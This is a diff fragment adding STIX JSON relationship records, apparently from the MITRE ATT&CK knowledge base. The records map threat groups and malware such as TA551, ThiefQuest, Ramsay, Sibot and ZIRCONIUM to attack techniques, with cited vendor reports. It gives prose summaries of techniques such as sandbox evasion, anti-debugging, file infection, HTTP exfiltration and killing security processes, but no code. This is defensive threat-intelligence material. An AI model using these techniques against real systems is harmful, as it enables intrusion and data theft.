"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used HTTP for C2 communications.(Citation: Unit 42 Valak July 2020)", + "relationship_type": "uses", + "id": "relationship--c1349223-f356-4e0d-8148-bda128354347", + "type": "relationship", + "modified": "2021-03-19T21:04:01.014Z", + "created": "2021-03-19T21:04:01.014Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has hidden encoded data for malware DLLs in a PNG.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--59ef906c-f395-427a-9cd5-30887a983516", + "type": "relationship", + "modified": "2021-03-25T15:34:04.391Z", + "created": "2021-03-19T21:04:01.248Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", + "external_references": [ + { + "source_name": "Cybereason Valak May 2020", + "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020." + }, + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + }, + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + } + ], + "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "relationship_type": "uses", + "id": "relationship--356cef7e-2994-4e52-8985-e046e8cc5513", + "type": "relationship", + "modified": "2021-03-19T21:04:01.259Z", + "created": "2021-03-19T21:04:01.259Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has retrieved DLLs and installer binaries for malware execution from C2.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--c4953a3b-d674-4582-b644-1339ec097aad", + "type": "relationship", + "modified": "2021-03-19T21:04:01.261Z", + "created": "2021-03-19T21:04:01.261Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--297ca26b-2074-46ea-b81d-a0a5c6fe5ac0", + "type": "relationship", + "modified": "2021-03-25T15:34:04.434Z", + "created": "2021-03-19T21:04:01.267Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", + "external_references": [ + { + "source_name": "Cybereason Valak May 2020", + "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020." + }, + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + }, + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + } + ], + "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "relationship_type": "uses", + "id": "relationship--39a3fca6-cdf6-4053-b4fe-eb5d46fc729f", + "type": "relationship", + "modified": "2021-03-19T21:04:01.279Z", + "created": "2021-03-19T21:04:01.279Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used a DGA to generate URLs from executed macros.(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "relationship_type": "uses", + "id": "relationship--93656c66-acfc-43b4-af66-bf328256b7b8", + "type": "relationship", + "modified": "2021-03-19T21:04:01.269Z", + "created": "2021-03-19T21:04:01.269Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used cmd.exe to execute commands.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--e52a9525-9209-4cf5-8f8e-43057ef6c2b3", + "type": "relationship", + "modified": "2021-03-25T15:34:04.440Z", + "created": "2021-03-19T21:04:01.270Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "external_references": [ + { + "source_name": "Cybereason Valak May 2020", + "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020." + }, + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + }, + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + } + ], + "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "relationship_type": "uses", + "id": "relationship--eca046f5-9175-4010-8297-07281f588934", + "type": "relationship", + "modified": "2021-03-19T21:04:01.283Z", + "created": "2021-03-19T21:04:01.283Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + }, + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has sent spearphishing attachments with password protected ZIP files.(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "relationship_type": "uses", + "id": "relationship--5d881746-44f9-4865-86de-97253fc197fb", + "type": "relationship", + "modified": "2021-03-25T15:34:04.436Z", + "created": "2021-03-19T21:04:01.281Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) invokes time call to check the system's time, executes a sleep command, invokes a second time call, and then compares the time difference between the two time calls and the amount of time the system slept to identify the sandbox.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--e46888e6-8c13-4a9c-8638-f8c151bec3c6", + "type": "relationship", + "modified": "2021-03-31T16:34:43.129Z", + "created": "2021-03-21T23:21:41.288Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses [AppleScript](https://attack.mitre.org/techniques/T1059/002)'s osascript -e command to launch [ThiefQuest](https://attack.mitre.org/software/S0595)'s persistence via [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). (Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--96af7164-6259-42cd-9007-e882be986dfa", + "type": "relationship", + "modified": "2021-04-26T19:23:34.098Z", + "created": "2021-03-21T23:34:43.186Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) hides a copy of itself in the user's ~/Library directory by using a . at the beginning of the file name followed by 9 random characters.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--4306857b-542d-4a54-8b4d-b835e52c5c15", + "type": "relationship", + "modified": "2021-04-26T20:02:14.651Z", + "created": "2021-03-21T23:40:08.238Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "external_references": [ + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + }, + { + "source_name": "reed thiefquest ransomware analysis", + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the /Users/ folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "relationship_type": "uses", + "id": "relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5", + "type": "relationship", + "modified": "2021-03-31T16:34:43.154Z", + "created": "2021-03-22T02:08:48.949Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + }, + { + "source_name": "reed thiefquest ransomware analysis", + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the /Users/ folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "relationship_type": "uses", + "id": "relationship--7cfc1c10-b3d5-4e9e-907e-7379c3771161", + "type": "relationship", + "modified": "2021-04-26T20:02:14.787Z", + "created": "2021-03-22T02:17:41.927Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.(Citation: wardle evilquest partii)", + "relationship_type": "uses", + "id": "relationship--02c4488b-6041-4222-9363-18a63ce3b835", + "type": "relationship", + "modified": "2021-03-22T03:10:42.651Z", + "created": "2021-03-22T03:10:42.651Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the function kill_unwanted to obtain a list of running processes and kills each process matching a list of security related processes.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--84b5daa3-71e9-4753-b1a8-501390e3f54c", + "type": "relationship", + "modified": "2021-04-26T20:02:15.025Z", + "created": "2021-03-22T19:11:35.306Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses a function named is_debugging to perform anti-debugging logic. The function invokes sysctl checking the returned value of P_TRACED. [ThiefQuest](https://attack.mitre.org/software/S0595) also calls ptrace with the PTRACE_DENY_ATTACH flag to prevent debugging. ", + "relationship_type": "uses", + "id": "relationship--e711d51c-94d3-4a20-ae11-d3584bae36d9", + "type": "relationship", + "modified": "2021-03-22T21:57:48.752Z", + "created": "2021-03-22T21:57:48.752Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + }, + { + "source_name": "reed thiefquest ransomware analysis", + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. 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Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." + } + ], + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can gather a list of running processes by using [Tasklist](https://attack.mitre.org/software/S0057).(Citation: Antiy CERT Ramsay April 2020)", + "relationship_type": "uses", + "id": "relationship--8d5a8f57-0d67-462f-a4f5-7fc4268e4ab2", + "type": "relationship", + "modified": "2021-03-24T20:25:01.319Z", + "created": "2021-03-24T20:25:01.319Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." + } + ], + "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been distributed through spearphishing emails with malicious attachments.(Citation: Antiy CERT Ramsay April 2020)", + "relationship_type": "uses", + "id": "relationship--3890dead-331f-498d-b99d-2191150ae2ac", + "type": "relationship", + "modified": "2021-03-24T20:25:01.321Z", + "created": "2021-03-24T20:25:01.321Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." + } + ], + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [ipconfig](https://attack.mitre.org/software/S0100) and [Arp](https://attack.mitre.org/software/S0099) to collect network configuration information, including routing information and ARP tables.(Citation: Antiy CERT Ramsay April 2020)", + "relationship_type": "uses", + "id": "relationship--1884ba87-a1c8-496b-9517-abb379911166", + "type": "relationship", + "modified": "2021-03-24T20:25:01.355Z", + "created": "2021-03-24T20:25:01.355Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." + } + ], + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use netstat to enumerate network connections.(Citation: Antiy CERT Ramsay April 2020)", + "relationship_type": "uses", + "id": "relationship--eb9fb4e7-1b43-41ee-88e1-a3f93a278082", + "type": "relationship", + "modified": "2021-03-24T20:25:01.351Z", + "created": "2021-03-24T20:25:01.351Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has obfuscated scripts used in execution.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--45bff763-b4f8-45e5-bb40-c98b415131f9", + "type": "relationship", + "modified": "2021-03-24T21:15:36.009Z", + "created": "2021-03-24T21:15:36.009Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has used a legitimate compromised website to download DLLs to the victim's machine.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--9ffd4ba1-1114-4df9-875c-14cacda87b21", + "type": "relationship", + "modified": "2021-03-26T20:18:07.166Z", + "created": "2021-03-24T21:35:27.167Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "Microsoft Targeting Elections September 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021." + }, + { + "source_name": "Google Election Threats October 2020", + "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", + "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021." + }, + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.(Citation: Microsoft Targeting Elections September 2020)(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--671a20b9-ad4c-468f-9871-be3545907dd2", + "type": "relationship", + "modified": "2021-03-25T14:13:41.457Z", + "created": "2021-03-25T13:39:14.835Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "Microsoft Targeting Elections September 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. 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Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has purchased domains for use in targeted campaigns.(Citation: Microsoft Targeting Elections September 2020)", + "relationship_type": "uses", + "id": 